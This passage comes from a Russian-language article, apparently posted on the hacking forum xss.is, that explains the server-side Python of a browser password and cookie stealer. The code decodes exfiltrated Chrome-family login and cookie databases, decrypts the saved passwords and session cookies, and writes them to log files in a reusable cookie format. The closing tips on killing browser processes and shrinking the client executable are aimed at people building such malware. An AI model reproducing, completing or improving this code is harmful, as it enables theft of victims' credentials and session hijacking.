        print(f'В браузере {browser_name} отсутствует ключ.')
        continue
    Получение ключа в формате base64 из полученных от клиента данных
  5. Python: Скопировать в буфер обмена
    key = base64.b64decode(key_base64)
    Декодирование ключа из base64 в байты
  6. Python: Скопировать в буфер обмена
    Код:
    decoded_data = base64.b64decode(file_data)
    db_name = f'{browser_name}_{param_name}_{idx}.db'
    db_path = os.path.join(unique_id_logs_dir, db_name)
    
    with open(db_path, 'wb') as db_file:
        db_file.write(decoded_data)
    В данном коде происходит декодирование файлов из base64 а именно баз данных с логинами и паролями. Затем происходит запись этих декодированных файлов в папку для лога которую мы создавали ранее.
  7. Python: Скопировать в буфер обмена
    Код:
    if (param_name == "login_data"):
        connection = sqlite3.connect(db_path)
        cursor = connection.cursor()
        cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
    Если в JSON есть параметр login_data, то в таком случае происходит подключение к этой базе данных
  8. Python: Скопировать в буфер обмена
    Код:
    origin_url = row[0]
    username_value = row[1]
    encrypted_password = row[2]
    Эти строки отвечают за извлечение данных из столбцов
  9. Python: Скопировать в буфер обмена
    decrypted_password = decrypt_password(encrypted_password, key)
    Вызывается функция decrypt_password в которую передается зашифрованный пароль и ключ который был ранее декодирован из base64.
  10. Python: Скопировать в буфер обмена
    Код:
    passwords_file.write(f'Browser: {browser_name}\n')
    passwords_file.write(f'Origin URL: {origin_url}\n')
    passwords_file.write(f'Username: {username_value}\n')
    passwords_file.write(f'Password: {decrypted_password}\n')
    Запись данных из столбцов базы данных в созданный ранее текстовый файл для паролей, ну и сам расшифрованный пароль.
  11. Python: Скопировать в буфер обмена
    Код:
    elif param_name == "cookies":
        cookies_file_path = os.path.join(unique_id_logs_dir,
                                         f'cookies_{browser_name}_{idx}.txt')
        process_cookies(decoded_data, key, cookies_file_path)
        print(f"Файл {db_name} успешно сохранен и cookies расшифрованы.")
    В данном коде сначала проверяется есть ли в JSON параметр cookies, если он есть то формируется путь для сохранения файла.
  12. Python: Скопировать в буфер обмена
    process_cookies(decoded_data, key, cookies_file_path)
    Вызывается функция process_cookie в которую передается ключ, декодированные данные куки и путь до файла в которрый будут записываться куки.
Функцию расшифровки мы уже разбирали ранее в примере о том как это все устроено. Так что рассмотрим функцию process_cookies для работы с куки.
Python: Скопировать в буфер обмена
Код:
def process_cookies(cookies_db, master_key, cookies_file_path):
    try:
        cookies_list = ''

        temp_cookies_db = os.path.join(os.path.dirname(cookies_file_path), f"temp_cookies_db_{time.time()}.db")

        with open(temp_cookies_db, "wb") as f:
            f.write(cookies_db)

        conn = sqlite3.connect(temp_cookies_db)
        cursor = conn.cursor()
        cursor.execute("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies")

        for item in cursor.fetchall():
            try:
                decrypted_value = decrypt_cookie(item[2], master_key)
                if decrypted_value:
                    cookies_list += f'{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n'
            except sqlite3.Error as e:
                print(f"Error cookies: {e}")

        conn.close()
        os.remove(temp_cookies_db)

        if cookies_list:
            with open(cookies_file_path, 'w') as cookies_file:
                cookies_file.write(cookies_list)

    except Exception as e:
        print(f"Error cookies: {e}")
В данном коде сначала создается временная база данных, далее к базе данных происходит подключение. В базе данных берутся данные из этих столбцов:
Python: Скопировать в буфер обмена
host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly

После чего вызывается функция для расшифровки:
Python: Скопировать в буфер обмена
decrypted_value = decrypt_cookie(item[2], master_key)

После этого происходит запись данных из столбцов базы данных в определенном порядке:
Python: Скопировать в буфер обмена
{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}

Так и получается готовый файл куки. Хочу отметить, что очень важен порядок при записи в текстовый файл, так как если поменять хоть какой-то параметр местами, куки просто не будут корректно загружаться.

На этом весь код заканчивается. Хотел бы дать пару советов по улучшению для тех, кто хочет попробовать написать подобное программное обеспечение:
  1. Для того чтобы копировать файлы куки и паролей, нужно, чтобы браузеры были закрыты, так что лучше перед сбором файлов закрывать их. Мне писали о том, что есть вариант не закрывать процессы браузеров, но я этим пока что не интересовался. Поэтому самым простым способом будет простое закрытие процессов.
  2. У меня в клиенте используются NuGet пакеты для корректной работы, но проблема в том, что при компиляции получаются зависимости в виде DLL файлов, и они очень много весят. Конечно, есть способы, чтобы DLL не были отдельными файлами, а все компилировалось в один EXE файл, но это все равно не решает проблемы с весом. Поэтому, если вам важен каждый килобайт исполняемого файла, потребуется использовать не NuGet пакеты, например, для расшифровки DPAPI, а файлы с кодом, который будет это делать.
    NuGet пакет, который встроит все DLL в один исполняемый файл: Costura.Fody
Заключение:
Скорее всего, это будет последней статьей на эту тему, так как дальше пойдут лишь улучшения, которые я не могу показать, так как все изменения будут предназначены для проекта на заказ. Помните, предоставленный мной код нужен лишь для ознакомления, а не для использования на практике, поэтому не копируйте бездумно мой код, если хотите чему-то научиться.

Статья написана CognitoInc специально для форума xss.is
 
Сверху Снизу